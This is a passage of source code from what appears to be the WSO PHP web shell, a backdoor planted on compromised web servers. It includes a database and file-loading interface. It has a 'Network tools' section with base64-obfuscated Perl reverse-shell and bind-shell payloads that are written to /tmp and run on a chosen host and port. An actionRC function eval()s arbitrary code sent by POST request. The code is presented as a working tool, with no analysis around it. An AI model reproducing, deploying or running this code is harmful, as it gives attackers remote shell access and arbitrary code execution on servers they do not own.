1340 echo '</tr><tr>';
1341 $line = 2;
1342 }
1343 echo '<tr class="l'.$line.'">';
1344 $line = $line==1?2:1;
1345 foreach($item as $key => $value) {
1346 if($value == null)
1347 echo '<td><i>null</i></td>';
1348 else
1349 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1350 }
1351 echo '</tr>';
1352 }
1353 echo '</table>';
1354 } else {
1355 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1356 }
1357 }
1358 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1359 echo "</td></tr>";
1360 }
1361 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1362 if(@$_POST['p1'] == 'loadfile') {
1363 $file = $db->loadFile($_POST['p2']);
1364 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1365 }
1366 }
1367 echo '</div>';
1368 wsoFooter();
1369}
1370function actionNetwork() {
1371 wsoHeader();
1372 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1373 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1374 echo "<h1>Network tools</h1><div class=content>
1375 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1376 <span>Bind port to /bin/sh [perl]</span><br/>
1377 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1378 </form>
1379 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1380 <span>Back-connect [perl]</span><br/>
1381 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1382 </form><br>";
1383 if(isset($_POST['p1'])) {
1384 function cf($f,$t) {
1385 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1386 if($w) {
1387 @fwrite($w,@base64_decode($t));
1388 @fclose($w);
1389 }
1390 }
1391 if($_POST['p1'] == 'bpp') {
1392 cf("/tmp/bp.pl",$bind_port_p);
1393 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1394 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1395 }
1396 if($_POST['p1'] == 'bcp') {
1397 cf("/tmp/bc.pl",$back_connect_p);
1398 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1399 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1400 }
1401 }
1402 echo '</div>';
1403 wsoFooter();
1404}
1405function actionRC() {
1406 if(!@$_POST['p1']) {
1407 $a = array(
1408 "uname" => php_uname(),
1409 "php_version" => phpversion(),
1410 "wso_version" => VERSION,
1411 "safemode" => @ini_get('safe_mode')
1412 );
1413 echo serialize($a);
1414 } else {
1415 eval($_POST['p1']);
1416 }
1417}
1418if( empty($_POST['a']) )
1419 if(isset($default_action) && function_exists('action' . $default_action))
1420 $_POST['a'] = $default_action;
1421 else
1422 $_POST['a'] = 'SecInfo';
1423if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1424 call_user_func('action' . $_POST['a']);
1425exit;
1426?>